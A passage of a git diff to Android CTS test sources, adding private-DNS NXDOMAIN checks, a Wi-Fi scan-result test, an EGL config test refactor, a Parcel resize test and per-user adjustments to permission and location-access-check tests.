+                    network, INVALID_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
 
             final CountDownLatch latch = new CountDownLatch(1);
             final DnsResolver.Callback<List<InetAddress>> errorCallback =
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index c3e65b7..88e86f4 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -16,18 +16,22 @@
 
 package android.net.cts;
 
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
 import android.content.Context;
+import android.content.ContentResolver;
 import android.net.ConnectivityManager;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkUtils;
+import android.net.cts.util.CtsNetUtils;
+import android.provider.Settings;
 import android.system.ErrnoException;
 import android.system.OsConstants;
 import android.test.AndroidTestCase;
 
 import java.util.ArrayList;
 
-
 public class MultinetworkApiTest extends AndroidTestCase {
 
     static {
@@ -35,6 +39,8 @@
     }
 
     private static final String TAG = "MultinetworkNativeApiTest";
+    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
+    static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
 
     /**
      * @return 0 on success
@@ -43,18 +49,44 @@
     private static native int runSetprocnetwork(long networkHandle);
     private static native int runSetsocknetwork(long networkHandle);
     private static native int runDatagramCheck(long networkHandle);
-    private static native int runResNapiMalformedCheck(long networkHandle);
-    private static native int runResNcancelCheck(long networkHandle);
-    private static native int runResNqueryCheck(long networkHandle);
-    private static native int runResNsendCheck(long networkHandle);
+    private static native void runResNapiMalformedCheck(long networkHandle);
+    private static native void runResNcancelCheck(long networkHandle);
+    private static native void runResNqueryCheck(long networkHandle);
+    private static native void runResNsendCheck(long networkHandle);
+    private static native void runResNnxDomainCheck(long networkHandle);
 
 
-
+    private ContentResolver mCR;
     private ConnectivityManager mCM;
+    private CtsNetUtils mCtsNetUtils;
+    private String mOldMode;
+    private String mOldDnsSpecifier;
 
+    @Override
     protected void setUp() throws Exception {
         super.setUp();
         mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mCR = getContext().getContentResolver();
+        mCtsNetUtils = new CtsNetUtils(getContext());
+        storePrivateDnsSetting();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        restorePrivateDnsSetting();
+        super.tearDown();
+    }
+
+    private void storePrivateDnsSetting() {
+        // Store private DNS setting
+        mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+        mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+    }
+
+    private void restorePrivateDnsSetting() {
+        // restore private DNS setting
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
     }
 
     private Network[] getTestableNetworks() {
@@ -182,13 +214,34 @@
         } catch (IllegalArgumentException e) {}
     }
 
-    public void testResNApi() {
-        for (Network network : getTestableNetworks()) {
+    public void testResNApi() throws InterruptedException {
+        final Network[] testNetworks = getTestableNetworks();
+
+        for (Network network : testNetworks) {
             // Throws AssertionError directly in jni function if test fail.
             runResNqueryCheck(network.getNetworkHandle());
             runResNsendCheck(network.getNetworkHandle());
             runResNcancelCheck(network.getNetworkHandle());
             runResNapiMalformedCheck(network.getNetworkHandle());
+
+            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
+            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+            // test NXDOMAIN on these DNS servers.
+            // b/144521720
+            if (nc != null && !nc.hasTransport(TRANSPORT_CELLULAR)) {
+                runResNnxDomainCheck(network.getNetworkHandle());
+            }
+        }
+        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+        // b/144521720
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+        Settings.Global.putString(mCR,
+                Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+        for (Network network : testNetworks) {
+          // Wait for private DNS setting to propagate.
+          mCtsNetUtils.awaitPrivateDnsSetting("NxDomain test wait private DNS setting timeout",
+                    network, GOOGLE_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
+          runResNnxDomainCheck(network.getNetworkHandle());
         }
     }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
index ccf5fe2..9bd1226 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
@@ -23,6 +23,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.net.wifi.ScanResult;
+import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.platform.test.annotations.AppModeFull;
@@ -54,6 +55,8 @@
     private static final int ENABLE_WAIT_MSEC = 10000;
     private static final int SCAN_WAIT_MSEC = 10000;
     private static final int SCAN_MAX_RETRY_COUNT = 6;
+    private static final int SCAN_FIND_BSSID_MAX_RETRY_COUNT = 5;
+    private static final long SCAN_FIND_BSSID_WAIT_MSEC = 5_000L;
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -200,4 +203,31 @@
 
     }
 
+    public void testScanResultMatchesWifiInfo() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // This test case should run while connected to Wifi
+        final WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
+        assertNotNull(wifiInfo);
+
+        ScanResult currentNetwork = null;
+        for (int i = 0; i < SCAN_FIND_BSSID_MAX_RETRY_COUNT; i++) {
+            scanAndWait();
+            final List<ScanResult> scanResults = mWifiManager.getScanResults();
+            currentNetwork = scanResults.stream().filter(r -> r.BSSID.equals(wifiInfo.getBSSID()))
+                    .findAny().orElse(null);
+
+            if (currentNetwork != null) {
+                break;
+            }
+            Thread.sleep(SCAN_FIND_BSSID_WAIT_MSEC);
+        }
+        assertNotNull("Current network not found in scan results", currentNetwork);
+
+        assertEquals(wifiInfo.getWifiSsid(), currentNetwork.wifiSsid);
+        assertEquals(wifiInfo.getFrequency(), currentNetwork.frequency);
+    }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index b592c10..e4c4b00 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -687,6 +687,9 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        if(!hasWifi()) {
+            return;
+        }
         mWifiManager = (WifiManager) mContext
                 .getSystemService(Context.WIFI_SERVICE);
         assertNotNull(mWifiManager);
@@ -778,6 +781,9 @@
     }
 
     public void testEnterpriseConfigDoesNotPrintPassword() {
+        if(!hasWifi()) {
+            return;
+        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         final String identity = "IdentityIsOkayToBeDisplayedHere";
         final String password = "PasswordIsNotOkayToBeDisplayedHere";
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5367722..9d9b2a3 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -139,8 +139,11 @@
         }
 
         wifiInfo.getBSSID();
+        wifiInfo.getFrequency();
         wifiInfo.getIpAddress();
         wifiInfo.getLinkSpeed();
+        wifiInfo.getPasspointFqdn();
+        wifiInfo.getPasspointProviderFriendlyName();
         wifiInfo.getTxLinkSpeedMbps();
         wifiInfo.getRxLinkSpeedMbps();
         wifiInfo.getRssi();
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index e19d2ba..f0c34e3 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -24,12 +24,14 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.annotation.NonNull;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkInfo;
@@ -243,6 +245,23 @@
         return s;
     }
 
+    public void awaitPrivateDnsSetting(@NonNull String msg, @NonNull Network network,
+            @NonNull String server, int timeoutMs) throws InterruptedException {
+        CountDownLatch latch = new CountDownLatch(1);
+        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+        NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+                    latch.countDown();
+                }
+            }
+        };
+        mCm.registerNetworkCallback(request, callback);
+        assertTrue(msg, latch.await(timeoutMs, TimeUnit.MILLISECONDS));
+        mCm.unregisterNetworkCallback(callback);
+    }
+
     /**
      * Receiver that captures the last connectivity change's network type and state. Recognizes
      * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
index cef9e2f..1b8cf77 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
@@ -16,83 +16,176 @@
 
 package android.opengl.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
-import android.content.Intent;
+import android.content.Context;
 import android.opengl.GLSurfaceView;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.WindowManager;
 
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
 /**
  * {@link Activity} with a {@link GLSurfaceView} that chooses a specific configuration.
  */
 public class EglConfigCtsActivity extends Activity {
 
+    private final String TAG = this.getClass().getSimpleName();
+
     public static final String CONFIG_ID_EXTRA = "eglConfigId";
 
     public static final String CONTEXT_CLIENT_VERSION_EXTRA = "eglContextClientVersion";
 
+    private static final int EGL_OPENGL_ES_BIT = 0x1;
+    private static final int EGL_OPENGL_ES2_BIT = 0x4;
+
     private EglConfigGLSurfaceView mView;
 
     private CountDownLatch mFinishedDrawing;
+    private CountDownLatch mFinishedTesting;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        int configId = getConfigId();
-        int contextClientVersion = getContextClientVersion();
-        setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
 
         // Dismiss keyguard and keep screen on while this test is on.
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD |
                 WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
                 WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
 
-        mFinishedDrawing = new CountDownLatch(1);
-        mView = new EglConfigGLSurfaceView(this, configId, contextClientVersion, new Runnable() {
-            @Override
-            public void run() {
-                mFinishedDrawing.countDown();
-            }
-        });
-        setContentView(mView);
-    }
-
-    private int getConfigId() {
-        Intent intent = getIntent();
-        if (intent != null) {
-            return intent.getIntExtra(CONFIG_ID_EXTRA, 0);
-        } else {
-            return 0;
-        }
-    }
-
-    private int getContextClientVersion() {
-        Intent intent = getIntent();
-        if (intent != null) {
-            return intent.getIntExtra(CONTEXT_CLIENT_VERSION_EXTRA, 0);
-        } else {
-            return 0;
+        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
+        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
+        assertTrue(configIds.length + configIds2.length > 0);
+        mFinishedTesting = new CountDownLatch(configIds.length + configIds2.length);
+        try {
+            runConfigTests(configIds, 1);
+            runConfigTests(configIds2, 2);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Caught exception");
         }
     }
 
     @Override
     protected void onResume() {
         super.onResume();
-        mView.onResume();
+        if (mView != null)
+        {
+            mView.onResume();
+        }
     }
 
     @Override
     protected void onPause() {
         super.onPause();
-        mView.onPause();
+        if (mView != null)
+        {
+            mView.onPause();
+        }
     }
 
-    public void waitToFinishDrawing() throws InterruptedException {
-        if (!mFinishedDrawing.await(3, TimeUnit.SECONDS)) {
-            throw new IllegalStateException("Coudn't finish drawing frames!");
+    private void runConfigTests(int[] configIds, int contextClientVersion)
+            throws InterruptedException {
+        Context context = this;
+        Thread thread = new Thread() {
+            @Override
+            public void run() {
+                for (int configId : configIds) {
+                    mFinishedDrawing = new CountDownLatch(1);
+
+                    runOnUiThread(new Runnable() {
+                        @Override
+                        public void run() {
+                            setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
+                            mView = new EglConfigGLSurfaceView(context, configId, contextClientVersion, new Runnable() {
+                                @Override
+                                public void run() {
+                                    mFinishedDrawing.countDown();
+                                }
+                            });
+                            setContentView(mView);
+                        }
+                    });
+
+                    try {
+                        waitToFinishDrawing();
+                    } catch (Exception e) {
+                        Log.e(TAG, "Timed out!");
+                    }
+
+                    mFinishedTesting.countDown();
+                }
+            }
+        };
+        thread.start();
+    }
+
+    private void waitToFinishDrawing() throws InterruptedException {
+        if (!mFinishedDrawing.await(5, TimeUnit.SECONDS)) {
+            throw new IllegalStateException("Couldn't finish drawing frames!");
+        }
+    }
+
+    void waitToFinishTesting() throws InterruptedException {
+        if (!mFinishedTesting.await(300, TimeUnit.SECONDS)) {
+            throw new IllegalStateException("Couldn't finish testing!");
+        }
+    }
+
+    private static int[] getEglConfigIds(int renderableType) {
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        int[] numConfigs = new int[1];
+
+        int[] attributeList = new int[] {
+                EGL10.EGL_RENDERABLE_TYPE, renderableType,
+
+                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
+                EGL10.EGL_RED_SIZE, 1,
+                EGL10.EGL_GREEN_SIZE, 1,
+                EGL10.EGL_BLUE_SIZE, 1,
+
+                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
+                EGL10.EGL_NONE
+        };
+
+        if (egl.eglInitialize(display, null)) {
+            try {
+                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
+                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
+                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
+                            numConfigs)) {
+                        int[] configIds = new int[numConfigs[0]];
+                        for (int i = 0; i < numConfigs[0]; i++) {
+                            int[] value = new int[1];
+                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
+                                    value)) {
+                                configIds[i] = value[0];
+                            } else {
+                                throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
+                            }
+                        }
+                        return configIds;
+                    } else {
+                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
+                    }
+                } else {
+                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
+                }
+            } finally {
+                egl.eglTerminate(display);
+            }
+        } else {
+            throw new IllegalStateException("Couldn't initialize EGL.");
         }
     }
 }
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565e..613456a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
+import static androidx.test.internal.util.Checks.checkState;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -36,14 +37,16 @@
 import javax.microedition.khronos.egl.EGLContext;
 import javax.microedition.khronos.egl.EGLDisplay;
 
+import android.util.Log;
+import java.lang.Runnable;
+
 /**
  * Test that gets a list of EGL configurations and tries to use each one in a GLSurfaceView.
  */
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class EglConfigTest {
-    private static final int EGL_OPENGL_ES_BIT = 0x1;
-    private static final int EGL_OPENGL_ES2_BIT = 0x4;
+    private final String TAG = this.getClass().getSimpleName();
 
     private Instrumentation mInstrumentation;
 
@@ -58,75 +61,11 @@
 
     @Test
     public void testEglConfigs() throws Exception {
-        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
-        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
-        assertTrue(configIds.length + configIds2.length > 0);
-        runConfigTests(configIds, 1);
-        runConfigTests(configIds2, 2);
-    }
-
-    private void runConfigTests(int[] configIds, int contextClientVersion)
-            throws InterruptedException {
-        for (int configId : configIds) {
-            Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
-                    EglConfigCtsActivity.class);
-            intent.putExtra(EglConfigCtsActivity.CONFIG_ID_EXTRA, configId);
-            intent.putExtra(EglConfigCtsActivity.CONTEXT_CLIENT_VERSION_EXTRA,
-                    contextClientVersion);
-            EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
-            activity.waitToFinishDrawing();
-            // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
-            Thread.sleep(500);
-            activity.finish();
-            mInstrumentation.waitForIdleSync();
-        }
-    }
-
-    private static int[] getEglConfigIds(int renderableType) {
-        EGL10 egl = (EGL10) EGLContext.getEGL();
-        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        int[] numConfigs = new int[1];
-
-        int[] attributeList = new int[] {
-                EGL10.EGL_RENDERABLE_TYPE, renderableType,
-
-                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
-                EGL10.EGL_RED_SIZE, 1,
-                EGL10.EGL_GREEN_SIZE, 1,
-                EGL10.EGL_BLUE_SIZE, 1,
-
-                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
-                EGL10.EGL_NONE
-        };
-
-        if (egl.eglInitialize(display, null)) {
-            try {
-                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
-                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
-                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
-                            numConfigs)) {
-                        int[] configIds = new int[numConfigs[0]];
-                        for (int i = 0; i < numConfigs[0]; i++) {
-                            int[] value = new int[1];
-                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
-                                    value)) {
-                                configIds[i] = value[0];
-                            } else {
-                              throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
-                            }
-                        }
-                        return configIds;
-                    } else {
-                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
-                    }
-                } else {
-                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
-                }
-            } finally {
-                egl.eglTerminate(display);
-            }
-        } else {
-            throw new IllegalStateException("Couldn't initialize EGL.");
-        }
+        Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
+                EglConfigCtsActivity.class);
+        EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
+        activity.waitToFinishTesting();
+        activity.finish();
+        mInstrumentation.waitForIdleSync();
     }
 }
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index dfbef8a..b00e1f2 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -110,7 +110,12 @@
         final long maxInodes = maxsize / 4096;
         // Assuming the smallest storage would be 4GB, min # of free inodes
         // in EXT4/F2FS must be larger than 128k for Android to work properly.
-        final long minInodes = 128 * 1024;
+        long minInodes = 128 * 1024;
+        final long size4GB = 4294967296l;
+        //If the storage size is smaller than 4GB, let's consider 32k for 1GB.
+        if (maxsize < size4GB) {
+            minInodes = 32 * 1024;
+        }
 
         if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
             && stat.f_favail <= stat.f_ffree) {
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 0287b7a..a7b1107 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -3433,4 +3433,34 @@
 
         assertNotNull("Service should have started without crashing.", connection.get());
     }
+
+    public void testObjectResize() throws Exception {
+        Parcel p;
+        IBinder b1 = new Binder();
+        IBinder b2 = new Binder();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        p.setDataSize(0);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        final int secondBinderPos = p.dataPosition();
+        p.writeStrongBinder(b1);
+        p.setDataSize(secondBinderPos);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object at the start of the parcel parcel should match the first binder", b1,
+                p.readStrongBinder());
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+    }
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 1762edc..95f8126 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -32,6 +32,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
 
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index c4ee088..481a026 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -50,12 +50,22 @@
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission28.apk" />
         <option name="push" value="CtsAppWithSharedUidThatRequestsLocationPermission29.apk->/data/local/tmp/cts/permissions/CtsAppWithSharedUidThatRequestsLocationPermission29.apk" />
         <option name="push" value="CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk" />
+        <option name="push" value="CtsAdversarialPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionUserApp.apk" />
+        <option name="push" value="CtsAdversarialPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionDefinerApp.apk" />
+        <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
+        <option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestpermission" />
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestnopermission" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.userapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index 5d492c6..cf26d44 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -237,7 +237,7 @@
      * @param packageName Package to clear
      */
     public static void clearAppState(@NonNull String packageName) {
-        runShellCommand("pm clear " + packageName);
+        runShellCommand("pm clear --user current " + packageName);
     }
 
     /**
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 232cd1f..29dfea1 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -34,10 +34,13 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import static java.util.concurrent.TimeUnit.MILLISECONDS;
 
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -50,10 +53,12 @@
 import android.location.LocationListener;
 import android.location.LocationManager;
 import android.os.Bundle;
+import android.os.Debug;
 import android.os.IBinder;
 import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
@@ -108,6 +113,8 @@
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private static final ActivityManager sActivityManager =
+            (ActivityManager) sContext.getSystemService(Context.ACTIVITY_SERVICE);
     private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
             .getUiAutomation();
 
@@ -244,7 +251,9 @@
      * Force a run of the location check.
      */
     private static void runLocationCheck() {
-        runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+        runShellCommand(
+                "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
+                        + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
     }
 
     /**
@@ -361,6 +370,14 @@
     }
 
     /**
+     * Skip each test for low ram device
+     */
+    @Before
+    public void assumeIsNotLowRamDevice() {
+        assumeFalse(sActivityManager.isLowRamDevice());
+    }
+
+    /**
      * Reset the permission controllers state before each test
      */
     @Before
@@ -379,6 +396,15 @@
     }
 
     /**
+     * Disable location access check
+     */
+    private void disableLocationAccessCheck() {
+        runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
+                DeviceConfig.NAMESPACE_PRIVACY,
+                PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false", false));
+    }
+
+    /**
      * Make sure fine location can be accessed at all.
      */
     @Before
@@ -424,12 +450,16 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
+        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+
             for (RegisteredJob job : dump.registeredJobs) {
-                assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                if (job.dump.sourceUserId == currentUserId) {
+                    assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                }
             }
         }, UNEXPECTED_TIMEOUT_MILLIS);
 
@@ -453,7 +483,8 @@
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
             for (RegisteredJob job : dump.registeredJobs) {
-                if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+                if (job.dump.sourceUserId == currentUserId
+                        && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
                     return;
                 }
             }
@@ -503,14 +534,16 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
         accessLocation();
         getNotification(true);
 
-        assertNull(getNotification(false));
+        assertNull(getNotification(true));
     }
 
     @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
         accessLocation();
         getNotification(true);
@@ -525,7 +558,7 @@
         grantPermissionToTestApp(ACCESS_BACKGROUND_LOCATION);
 
         accessLocation();
-        assertNotNull(getNotification(false));
+        assertNotNull(getNotification(true));
     }
 
     @Test
